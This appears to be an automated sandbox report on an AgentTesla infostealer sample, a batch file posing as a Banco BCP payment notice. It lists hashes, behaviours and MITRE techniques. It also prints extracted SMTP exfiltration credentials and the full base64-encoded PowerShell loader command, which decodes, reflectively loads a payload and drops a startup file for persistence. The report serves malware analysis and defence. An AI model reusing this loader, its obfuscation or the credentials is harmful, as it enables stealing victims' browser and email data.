agenttesla | 799d82d6973a29bdda75b904d43bed7d3b374e32fcce7d5d78c97c3a92e380b9

General

Target

Aviso de Pago_ Banco BCP_pdf.bat
Size

191KB
MD5

61c6c921b92689fc462ef98cf4393c42
SHA1

c7884d1f87525c5eef499fafd07b4480be7e41ce
SHA256

cd840d3989614de52ba00dd9018f5be25d466da3ff1c9e4069e4590791c5818f
SHA512

03ca18981b20f4373102f50c4ed17324c0c7010e61bd906dfab9a5cee8df07d93b390e58348a56d220d41ccdcedfa6c9b3bb9925c452580f2da0c2ecf5214f0d
SSDEEP

3072:eIHnuWaKzqMxl9XVZM0yKfTX3lDnZwGx+x+8gNkssp+kmsKpUCasZyHQiaTmcxas:nHuWaKz7H9XVyonJnZitwks2rsUo0H5o

Score

10^/10

agenttesla keylogger spyware stealer trojan

Malware Config

Extracted

Credentials

Protocol: smtp
Host:
mail.agagroup.lv
Port:
587
Username:
[email protected]
Password:
@Aga#Group777!

Extracted

Family

agenttesla

Credentials

Protocol: smtp
Host:
mail.agagroup.lv
Port:
587
Username:
[email protected]
Password:
@Aga#Group777!
Email To:
[email protected]

Signatures

AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla

Drops startup file 2 IoCs

Processes:

powershell.exe

description	ioc	process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chrome.bat	powershell.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chrome.bat	powershell.exe

Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Looks up external IP address via web service 3 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

33 api.ipify.org
36 ip-api.com
32 api.ipify.org
Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description pid process target process

PID 4080 set thread context of 1608 4080 powershell.exe RegAsm.exe
Suspicious behavior: EnumeratesProcesses 7 IoCs

Processes:

powershell.exepowershell.exeRegAsm.exe

pid process

3224 powershell.exe
3224 powershell.exe
4080 powershell.exe
4080 powershell.exe
1608 RegAsm.exe
1608 RegAsm.exe
1608 RegAsm.exe
Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

powershell.exepowershell.exeRegAsm.exe

description pid process

Token: SeDebugPrivilege 3224 powershell.exe
Token: SeDebugPrivilege 4080 powershell.exe
Token: SeDebugPrivilege 1608 RegAsm.exe

flow	ioc
33	api.ipify.org
36	ip-api.com
32	api.ipify.org

description	pid	process	target process
PID 4080 set thread context of 1608	4080	powershell.exe	RegAsm.exe

pid	process
3224	powershell.exe
3224	powershell.exe
4080	powershell.exe
4080	powershell.exe
1608	RegAsm.exe
1608	RegAsm.exe
1608	RegAsm.exe

description	pid	process
Token: SeDebugPrivilege	3224	powershell.exe
Token: SeDebugPrivilege	4080	powershell.exe
Token: SeDebugPrivilege	1608	RegAsm.exe

Suspicious use of WriteProcessMemory 16 IoCs

Processes:

cmd.execmd.exepowershell.exe

description	pid	process	target process
PID 968 wrote to memory of 1604	968	cmd.exe	cmd.exe
PID 968 wrote to memory of 1604	968	cmd.exe	cmd.exe
PID 1604 wrote to memory of 3224	1604	cmd.exe	powershell.exe
PID 1604 wrote to memory of 3224	1604	cmd.exe	powershell.exe
PID 1604 wrote to memory of 3224	1604	cmd.exe	powershell.exe
PID 1604 wrote to memory of 4080	1604	cmd.exe	powershell.exe
PID 1604 wrote to memory of 4080	1604	cmd.exe	powershell.exe
PID 1604 wrote to memory of 4080	1604	cmd.exe	powershell.exe
PID 4080 wrote to memory of 1608	4080	powershell.exe	RegAsm.exe
PID 4080 wrote to memory of 1608	4080	powershell.exe	RegAsm.exe
PID 4080 wrote to memory of 1608	4080	powershell.exe	RegAsm.exe
PID 4080 wrote to memory of 1608	4080	powershell.exe	RegAsm.exe
PID 4080 wrote to memory of 1608	4080	powershell.exe	RegAsm.exe
PID 4080 wrote to memory of 1608	4080	powershell.exe	RegAsm.exe
PID 4080 wrote to memory of 1608	4080	powershell.exe	RegAsm.exe
PID 4080 wrote to memory of 1608	4080	powershell.exe	RegAsm.exe

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Aviso de Pago_ Banco BCP_pdf.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:968

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\Aviso de Pago_ Banco BCP_pdf.bat"
2⤵
- Suspicious use of WriteProcessMemory
PID:1604

C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('ZnVuY3Rpb24gRGVjb21wcmVzc0J5dGVzKCRjb21wcmVzc2VkRGF0YSkgeyAkbXMgPSBbSU8uTWVtb3J5U3RyZWFtXTo6bmV3KChbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCRjb21wcmVzc2VkRGF0YSkpKTsgJG1zLlBvc2l0aW9uID0gMDsgJGRlZmxhdGVTdHJlYW0gPSBbSU8uQ29tcHJlc3Npb24uRGVmbGF0ZVN0cmVhbV06Om5ldygkbXMsIFtJTy5Db21wcmVzc2lvbi5Db21wcmVzc2lvbk1vZGVdOjpEZWNvbXByZXNzKTsgJGJ1ZmZlciA9IFtieXRlW11dOjpuZXcoNDA5Nik7ICRtcyA9IFtJTy5NZW1vcnlTdHJlYW1dOjpuZXcoKTsgd2hpbGUgKCR0cnVlKSB7ICRjb3VudCA9ICRkZWZsYXRlU3RyZWFtLlJlYWQoJGJ1ZmZlciwgMCwgJGJ1ZmZlci5MZW5ndGgpOyBpZiAoJGNvdW50IC1lcSAwKSB7IGJyZWFrIH0gJG1zLldyaXRlKCRidWZmZXIsIDAsICRjb3VudCkgfSAkZGVmbGF0ZVN0cmVhbS5DbG9zZSgpOyAkbXMuVG9BcnJheSgpIH0NCg0KZnVuY3Rpb24gUmV2ZXJzZVN0cmluZygkaW5wdXRTdHJpbmcpIHsNCiAgICAkY2hhckFycmF5ID0gJGlucHV0U3RyaW5nLlRvQ2hhckFycmF5KCkgICMgQ29udmVydCBzdHJpbmcgdG8gY2hhcmFjdGVyIGFycmF5DQogICAgJHJldmVyc2VkQXJyYXkgPSAkY2hhckFycmF5Wy0xLi4tKCRjaGFyQXJyYXkuTGVuZ3RoKV0gICMgUmV2ZXJzZSB0aGUgYXJyYXkNCiAgICAkcmV2ZXJzZWRTdHJpbmcgPSAtam9pbiAkcmV2ZXJzZWRBcnJheSAgIyBDb252ZXJ0IHRoZSByZXZlcnNlZCBhcnJheSBiYWNrIHRvIGEgc3RyaW5nDQogICAgcmV0dXJuICRyZXZlcnNlZFN0cmluZw0KfQ0KDQpmdW5jdGlvbiBDbG9zZS1Qcm9jZXNzIHsNCiAgICBwYXJhbSgNCiAgICAgICAgW3N0cmluZ10kUHJvY2Vzc05hbWUNCiAgICApDQoNCiAgICAkcHJvY2VzcyA9IEdldC1Qcm9jZXNzIC1OYW1lICRQcm9jZXNzTmFtZSAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZQ0KDQogICAgaWYgKCRwcm9jZXNzIC1uZSAkbnVsbCkgew0KICAgICAgICBTdG9wLVByb2Nlc3MgLU5hbWUgJFByb2Nlc3NOYW1lIC1Gb3JjZQ0KCX0NCn0NCg0KZnVuY3Rpb24gQ29udmVydC1Bc2NpaVRvU3RyaW5nKCRhc2NpaUFycmF5KXsNCiRvZmZTZXRJbnRlZ2VyPTEyMzsNCiRkZWNvZGVkU3RyaW5nPSROdWxsOw0KZm9yZWFjaCgkYXNjaWlJbnRlZ2VyIGluICRhc2NpaUFycmF5KXskZGVjb2RlZFN0cmluZys9W2NoYXJdKCRhc2NpaUludGVnZXItJG9mZlNldEludGVnZXIpfTsNCnJldHVybiAkZGVjb2RlZFN0cmluZ307DQoNCg0KJGVuY29kZWRBcnJheSA9IEAoMTU5LDIyMCwyMzgsMjM4LDIyNCwyMzIsMjIxLDIzMSwyNDQsMTY5LDE5MiwyMzMsMjM5LDIzNywyNDQsMjAzLDIzNCwyMjgsMjMzLDIzOSwxNjksMTk2LDIzMywyNDEsMjM0LDIzMCwyMjQsMTYzLDE1OSwyMzMsMjQwLDIzMSwyMzEsMTY3LDE1OSwyMzMsMjQwLDIzMSwyMzEsMTY0LDE4MikNCiRkZWNvZGVkU3RyaW5nID0gQ29udmVydC1Bc2NpaVRvU3RyaW5nICRlbmNvZGVkQXJyYXkNCg0KDQokZmlsZVBhdGggPSBKb2luLVBhdGggJGVudjpVc2VyUHJvZmlsZSAiY2hyb21lLmJhdCINCiRsYXN0TGluZSA9IEdldC1Db250ZW50IC1QYXRoICRmaWxlUGF0aCB8IFNlbGVjdC1PYmplY3QgLUxhc3QgMQ0KJGNsZWFuZWRMaW5lID0gJGxhc3RMaW5lIC1yZXBsYWNlICdeOjonDQokcmV2ZXJzZSA9IFJldmVyc2VTdHJpbmcgJGNsZWFuZWRMaW5lDQokZGVjb21wcmVzc2VkQnl0ZSA9IERlY29tcHJlc3NCeXRlcyAtY29tcHJlc3NlZERhdGEgJHJldmVyc2UNCg0KJGFzc2VtYmx5ID0gW1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5XTo6TG9hZChbYnl0ZVtdXSRkZWNvbXByZXNzZWRCeXRlKQ0KDQokYXNzZW1ibHkgPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKFtieXRlW11dJGRlY29tcHJlc3NlZEJ5dGUpDQoNCkludm9rZS1FeHByZXNzaW9uICRkZWNvZGVkU3RyaW5nDQoNCkNsb3NlLVByb2Nlc3MgLVByb2Nlc3NOYW1lICJjbWQi')) | Out-File -FilePath 'C:\Users\Admin\chrome.ps1' -Encoding UTF8"
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3224

C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File "C:\Users\Admin\chrome.ps1"
3⤵
- Drops startup file
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4080

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1608

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Unsecured Credentials

2

T1552

Credentials In Files

2

T1552.001

Discovery

Lateral Movement

Collection

Data from Local System

2

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
Filesize
1KB

MD5
4280e36a29fa31c01e4d8b2ba726a0d8

SHA1
c485c2c9ce0a99747b18d899b71dfa9a64dabe32

SHA256
e2486a1bdcba80dad6dd6210d7374bd70ae196a523c06ceda71370fd3ea78359

SHA512
494fe5f0ade03669e5830bed93c964d69b86629440148d7b0881cf53203fd89443ebff9b4d1ee9d96244f62af6edede622d9eacba37f80f389a0d522e4ad4ea4

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
16KB

MD5
e9e77e7bb93101dfed49ef3dc20ea080

SHA1
54c89a34d65e7f4f19f04752ad293ca010113863

SHA256
068781f443f23dee0ef9cfe6aec639dcd3b3b5c728b33928fb3d3ee1326e4cc0

SHA512
bf1ed867464a91b23d19100d6e8403187332c7fd1f9518c11c3e551435ee5a15d8fdefa5a8b45af6330efa1f0ffafa9c0411f729abec65e67d29f90991aafc7e

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_mntf5t1t.l0r.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\chrome.bat
Filesize
191KB

MD5
61c6c921b92689fc462ef98cf4393c42

SHA1
c7884d1f87525c5eef499fafd07b4480be7e41ce

SHA256
cd840d3989614de52ba00dd9018f5be25d466da3ff1c9e4069e4590791c5818f

SHA512
03ca18981b20f4373102f50c4ed17324c0c7010e61bd906dfab9a5cee8df07d93b390e58348a56d220d41ccdcedfa6c9b3bb9925c452580f2da0c2ecf5214f0d

Download Submit
C:\Users\Admin\chrome.ps1
Filesize
1KB

MD5
1d6288e218ce9fed4e703ef5aa2e6c08

SHA1
39c5fbc0b8931bab67c40dc3f45be696ea3beb90

SHA256
d0832834c002fe7e915e8c78b21642df8ab90dd778e77f8c9dfbf93d9a517ae6

SHA512
c45d64b2aede293f414e1325d711df3314cf9527a62dbb362cf4210b8eeedcb8232feca70bf6a548cc865c9598c02620667b4920a049c9f50d7d7c0eda68507c

Download Submit
memory/1608-54-0x00000000051F0000-0x0000000005200000-memory.dmp

Filesize
64KB

Download
memory/1608-56-0x0000000006850000-0x00000000068EC000-memory.dmp

Filesize
624KB

Download
memory/1608-57-0x0000000006990000-0x0000000006A22000-memory.dmp

Filesize
584KB

Download
memory/1608-53-0x0000000074780000-0x0000000074F30000-memory.dmp

Filesize
7.7MB

Download
memory/1608-50-0x0000000000400000-0x0000000000442000-memory.dmp

Filesize
264KB

Download
memory/1608-58-0x0000000006840000-0x000000000684A000-memory.dmp

Filesize
40KB

Download
memory/1608-59-0x0000000074780000-0x0000000074F30000-memory.dmp

Filesize
7.7MB

Download
memory/1608-60-0x00000000051F0000-0x0000000005200000-memory.dmp

Filesize
64KB

Download
memory/3224-19-0x0000000005EE0000-0x0000000006234000-memory.dmp

Filesize
3.3MB

Download
memory/3224-20-0x00000000063C0000-0x00000000063DE000-memory.dmp

Filesize
120KB

Download
memory/3224-23-0x00000000068F0000-0x000000000690A000-memory.dmp

Filesize
104KB

Download
memory/3224-4-0x0000000005060000-0x0000000005070000-memory.dmp

Filesize
64KB

Download
memory/3224-3-0x0000000005010000-0x0000000005046000-memory.dmp

Filesize
216KB

Download
memory/3224-5-0x0000000005060000-0x0000000005070000-memory.dmp

Filesize
64KB

Download
memory/3224-22-0x0000000007D00000-0x000000000837A000-memory.dmp

Filesize
6.5MB

Download
memory/3224-21-0x00000000063F0000-0x000000000643C000-memory.dmp

Filesize
304KB

Download
memory/3224-6-0x00000000056A0000-0x0000000005CC8000-memory.dmp

Filesize
6.2MB

Download
memory/3224-7-0x0000000005610000-0x0000000005632000-memory.dmp

Filesize
136KB

Download
memory/3224-8-0x0000000005E00000-0x0000000005E66000-memory.dmp

Filesize
408KB

Download
memory/3224-27-0x0000000074780000-0x0000000074F30000-memory.dmp

Filesize
7.7MB

Download
memory/3224-14-0x0000000005E70000-0x0000000005ED6000-memory.dmp

Filesize
408KB

Download
memory/3224-2-0x0000000074780000-0x0000000074F30000-memory.dmp

Filesize
7.7MB

Download
memory/4080-49-0x0000000004D20000-0x0000000004D2A000-memory.dmp

Filesize
40KB

Download
memory/4080-52-0x00000000771A1000-0x00000000772C1000-memory.dmp

Filesize
1.1MB

Download
memory/4080-47-0x0000000005D90000-0x0000000005DF4000-memory.dmp

Filesize
400KB

Download
memory/4080-45-0x0000000007850000-0x0000000007DF4000-memory.dmp

Filesize
5.6MB

Download
memory/4080-55-0x0000000074780000-0x0000000074F30000-memory.dmp

Filesize
7.7MB

Download
memory/4080-44-0x00000000070F0000-0x0000000007112000-memory.dmp

Filesize
136KB

Download
memory/4080-43-0x0000000007170000-0x0000000007206000-memory.dmp

Filesize
600KB

Download
memory/4080-40-0x0000000005990000-0x0000000005CE4000-memory.dmp

Filesize
3.3MB

Download
memory/4080-30-0x00000000049A0000-0x00000000049B0000-memory.dmp

Filesize
64KB

Download
memory/4080-29-0x0000000074780000-0x0000000074F30000-memory.dmp

Filesize
7.7MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads